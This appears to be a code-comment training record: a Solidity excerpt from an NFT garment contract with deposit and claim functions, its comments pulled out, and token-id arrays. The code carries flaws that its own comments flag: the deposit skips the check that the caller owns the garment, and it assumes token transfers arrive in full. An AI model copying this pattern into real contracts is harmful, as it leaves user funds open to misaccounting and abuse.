function mintAssetBackedSyntheticMaterialToGarment(address _garmentAddress, uint256 _garmentId, uint256 _depositAmount) external {
//TODO: this should really check owner of garment ID is msg.sender otherwise you could add to someone elses garment
// Danger: Transfer does not guarantee this contract will receive all tokens depending on the token implementation
supportedERC20Asset.transferFrom(msg.sender, address(this), _depositAmount);
//mint balance of strand to sender
materials.mintChild(
supportedERC20AssetSyntheticStrandId,
_depositAmount,
_garmentAddress,
abi.encodePacked(_garmentId)
);
}
function claimUnderlyingAssetFromMaterial(uint256 _strandId, uint256 _claimAmount) external {
//๐ฅ
materials.burn(msg.sender, _strandId, _claimAmount);
supportedERC20Asset.transfer(msg.sender, _claimAmount);
}
}
|
TODO: this should really check owner of garment ID is msg.sender otherwise you could add to someone elses garment Danger: Transfer does not guarantee this contract will receive all tokens depending on the token implementationmint balance of strand to sender
|
function mintAssetBackedSyntheticMaterialToGarment(address _garmentAddress, uint256 _garmentId, uint256 _depositAmount) external {
supportedERC20Asset.transferFrom(msg.sender, address(this), _depositAmount);
materials.mintChild(
supportedERC20AssetSyntheticStrandId,
_depositAmount,
_garmentAddress,
abi.encodePacked(_garmentId)
);
}
| 12,857,354 |
[
1,
6241,
30,
333,
1410,
8654,
866,
3410,
434,
314,
297,
475,
1599,
353,
1234,
18,
15330,
3541,
1846,
3377,
527,
358,
18626,
415,
2420,
314,
297,
475,
463,
11455,
30,
12279,
1552,
486,
18779,
333,
6835,
903,
6798,
777,
2430,
8353,
603,
326,
1147,
4471,
81,
474,
11013,
434,
16706,
358,
5793,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
6672,
2711,
329,
10503,
16466,
11790,
774,
43,
297,
475,
12,
2867,
389,
75,
297,
475,
1887,
16,
2254,
5034,
389,
75,
297,
475,
548,
16,
2254,
5034,
389,
323,
1724,
6275,
13,
3903,
288,
203,
203,
3639,
3260,
654,
39,
3462,
6672,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
323,
1724,
6275,
1769,
203,
203,
3639,
31824,
18,
81,
474,
1763,
12,
203,
5411,
3260,
654,
39,
3462,
6672,
10503,
16466,
1585,
464,
548,
16,
203,
5411,
389,
323,
1724,
6275,
16,
203,
5411,
389,
75,
297,
475,
1887,
16,
203,
5411,
24126,
18,
3015,
4420,
329,
24899,
75,
297,
475,
548,
13,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.